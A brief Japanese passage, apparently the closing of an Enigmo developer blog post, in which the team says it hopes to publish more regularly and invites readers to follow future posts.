今後も、より継続的に情報発信しやすい運営を目指していきます。

これからのエニグモ開発者ブログの発信を、ぜひご覧いただけると嬉しいです。